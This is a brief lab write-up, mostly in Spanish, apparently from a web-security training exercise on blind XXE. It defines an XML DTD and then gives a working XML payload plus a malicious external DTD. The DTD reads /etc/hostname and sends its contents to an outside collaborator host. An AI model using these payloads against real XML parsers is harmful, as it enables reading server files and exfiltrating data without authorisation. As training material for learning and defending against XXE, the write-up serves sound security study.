5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD

Una DTD (Document Type Definition) es un conjunto de reglas que define la estructura y los elementos válidos de un documento XML. En otras palabras, una DTD le dice al parser XML cómo debe estar organizado el documento: qué elementos puede tener, qué atributos, en qué orden, etc.

La idea es cargar una DTD de un dominio externo :

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://exploit-0af900640326d05d8081dea9010600fc.exploit-server.net/exploit"> %xxe; ]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

DTD

<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://7aitci4d6zry15ur9565w6tvxm3drbf0.oastify.com/?x=%file;'>"> %eval; %exfil;